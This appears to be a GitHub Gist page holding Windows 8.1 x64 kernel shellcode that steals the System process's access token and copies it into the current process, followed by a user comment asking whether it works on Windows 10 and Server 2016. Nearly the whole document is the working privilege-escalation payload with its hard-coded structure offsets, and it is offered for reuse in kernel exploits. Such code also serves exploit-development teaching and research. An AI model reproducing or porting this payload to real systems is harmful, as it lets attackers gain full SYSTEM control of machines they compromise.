Last active
March 5, 2021 16:31
-
-
Save hugsy/763ec9e579796c35411a5929ae2aca27 to your computer and use it in GitHub Desktop.
Token stealing shellcode for Windows 8.1 x64
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
;; | |
;; Token stealing shellcode for Windows 8.1 x64 | |
;; | |
;; Save the current context on the stack | |
push rax | |
push rbx | |
push rcx | |
;; Get the current process | |
mov rax, gs:0x188 | |
mov rax, [rax+0xb8] | |
;; Loop looking for System PID | |
mov rbx, rax | |
mov rbx, [rbx+0x2e8] | |
sub rbx, 0x2e8 | |
mov rcx, [rbx+0x2e0] | |
cmp rcx, 4 | |
jnz -0x19 | |
;; Token overwrite | |
mov rcx, [rbx + 0x348] | |
and cl, 0xf0 | |
mov [rax + 0x348], rcx | |
;; Cleanup | |
pop rcx | |
pop rbx | |
pop rax | |
add rsp, 40 | |
xor rax, rax | |
ret |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Hello hugsy!
You've done an awesome work here... Have you by any chance tested it on Win10/Server 2016 ?
thanks for all man!
cheers